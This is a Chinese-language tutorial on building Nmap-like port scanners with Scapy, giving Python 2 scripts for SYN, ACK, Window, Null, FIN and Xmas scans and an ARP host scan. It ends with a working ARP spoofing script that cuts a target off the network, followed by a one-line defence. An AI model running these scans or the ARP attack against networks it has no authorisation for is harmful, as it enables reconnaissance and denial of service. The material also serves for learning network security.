运用Scapy编写类似于Nmap的端口扫描脚本
字数 998 2025-08-26 22:11:35
使用Scapy编写Nmap式端口扫描脚本教学文档
简介
Scapy是一种强大的Python网络数据包处理工具,由Philippe Biondi开发。它可以:
- 伪造或解码数据包
- 发送和捕获网络数据包
- 处理扫描、跟踪路由、探测、单元测试、攻击和网络发现等任务
端口扫描技术实现
1. TCP Connect扫描(全连接扫描)
原理:
- 客户端与服务端进行完整的三次握手
- 开放端口:SYN → SYN+ACK → ACK+RST
- 关闭端口:SYN → RST
代码实现:
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
if (send is None):
print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
elif send.haslayer("TCP"):
if send["TCP"].flags == "SA":
send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
print "[+] %s %d \033[92m Open \033[0m" % (host, port)
elif send["TCP"].flags == "RA":
print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
if __name__=="__main__":
scan(sys.argv[1:])
2. TCP SYN扫描(半开式扫描)
原理:
- 不建立完整连接
- 开放端口:SYN → SYN+ACK → RST
- 关闭端口:SYN → RST
代码修改:
只需将TCP Connect扫描中的flags="AR"改为flags="R"
3. TCP ACK扫描(防火墙检测)
原理:
- 用于检测端口是否被过滤
- 开放/关闭端口都会返回RST
- 无响应或返回特定ICMP错误消息表示被过滤
代码实现:
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=0.5,verbose=0)
if ping(host)==0 and send is None:
print "[+] The host is \033[91m Died or filtered\033[0m"
sys.exit(0)
elif ping(host) and send is None:
print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
elif send.haslayer("ICMP"):
if(send["ICMP"].type==3 and (send["ICMP"].code in [1,2,3,9,10,])):
print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
elif send["TCP"].flags=="R":
print "[+] %s %d \033[91m unfiltered \033[0m" % (host, port)
def ping(host):
ping=sr1(IP(dst=host)/ICMP(),timeout=0.1,verbose=0)
if ping is not None:
return 1
elif ping is None:
return 0
if __name__=="__main__":
scan(sys.argv[1:])
4. TCP Window扫描
原理:
- 检查RST报文的TCP窗口域
- 开放端口:窗口大小为正数
- 关闭端口:窗口大小为0
代码实现:
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=2,verbose=0)
if (send is None):
print "[+] the host is\033[91m Closed or filtered\033[0m"
sys.exit(0)
elif send.haslayer("TCP"):
if send["TCP"].window >0:
print "[+] %s %d \033[92m Open \033[0m" % (host, port)
elif send["TCP"].window ==0:
print "[+] %s %d \033[91m Closed \033[0m" % (host, port)
if __name__=="__main__":
scan(sys.argv[1:])
5. TCP Null扫描
原理:
- 不设置任何标志位
- 开放端口:无响应
- 关闭端口:返回RST+ACK
代码实现:
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags=""),timeout=2,verbose=0)
if (send is None):
print "[+] %s %d \033[91m Open | filtered\033[0m"%(host,port)
elif send.haslayer("TCP"):
if send["TCP"].flags=="RA":
print "[+] %s %d \033[92m Closed \033[0m" % (host, port)
if __name__=="__main__":
scan(sys.argv[1:])
6. TCP FIN扫描
原理:
- 只设置FIN标志位
- 开放端口:无响应
- 关闭端口:返回RST+ACK
代码修改:
将TCP Null扫描中的flags=""改为flags="F"
7. TCP Xmas扫描
原理:
- 设置PSH,FIN,URG标志位
- 开放端口:无响应
- 关闭端口:返回RST+ACK
代码修改:
将TCP Null扫描中的flags=""改为flags="PFU"
其他实用功能
ARP扫描
代码实现:
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
ans,unans=srp(arp,timeout=0.5,verbose=0)
print "[+] Scaned %d host"%(len(ans))
print "Host MAC"
for s,h in ans:
print "{} {}".format(h["ARP"].psrc,h["ARP"].hwsrc)
if __name__=="__main__":
scan(sys.argv[1:])
ARP断网攻击
原理:
- 欺骗目标主机,使其认为攻击者是网关
- 导致目标主机无法正常上网
代码实现:
from scapy.all import *
import getopt
import sys
def attack(argv):
opts, args = getopt.getopt(argv, "-h:-m:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
if opt in ("-m"):
Bcast=arg
print "[+]: Status: \033[91m Attacking \033[0m"
print "[+]: Host: \033[92m %s \033[0m"%(host)
pkt = ARP(psrc=Bcast, pdst=host, op=2)
srloop(pkt,verbose=0)
if __name__=="__main__":
attack(sys.argv[1:])
防范措施:
将网关的IP和MAC地址绑定写入ARP缓存表
参考资源
- Nmap官方文档:https://nmap.org/man/zh/man-port-scanning-techniques.html
- Scapy官方文档:https://scapy.readthedocs.io/en/latest/usage.html